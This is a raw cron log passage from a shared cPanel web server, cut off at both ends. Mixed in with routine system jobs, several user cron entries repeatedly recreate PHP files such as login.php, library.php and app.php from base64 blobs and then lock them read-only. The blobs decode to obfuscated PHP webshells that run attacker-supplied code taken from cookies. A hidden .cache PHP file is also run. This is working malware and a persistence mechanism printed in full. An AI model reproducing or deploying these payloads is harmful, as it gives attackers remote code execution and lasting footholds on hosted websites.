"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:26:02 medusa CROND[29867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:26:02 medusa CROND[29873]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:26:02 medusa CROND[29869]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 14:26:02 medusa CROND[29875]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:26:02 medusa CROND[29876]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:26:02 medusa CROND[29879]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:26:02 medusa CROND[29880]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:26:02 medusa CROND[29901]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:27:01 medusa CROND[15536]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:27:01 medusa CROND[15849]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:27:01 medusa CROND[15850]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:27:01 medusa CROND[15852]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:27:01 medusa CROND[15855]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:27:01 medusa CROND[15857]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 14:27:01 medusa CROND[15859]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:27:01 medusa CROND[15856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:27:01 medusa CROND[15860]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:27:01 medusa CROND[15863]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:27:01 medusa CROND[15864]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:27:01 medusa CROND[15869]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:28:01 medusa CROND[453]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:28:01 medusa CROND[454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:28:01 medusa CROND[456]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:28:01 medusa CROND[457]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:28:01 medusa CROND[458]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:28:01 medusa CROND[459]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:28:01 medusa CROND[464]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 14:28:01 medusa CROND[468]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0N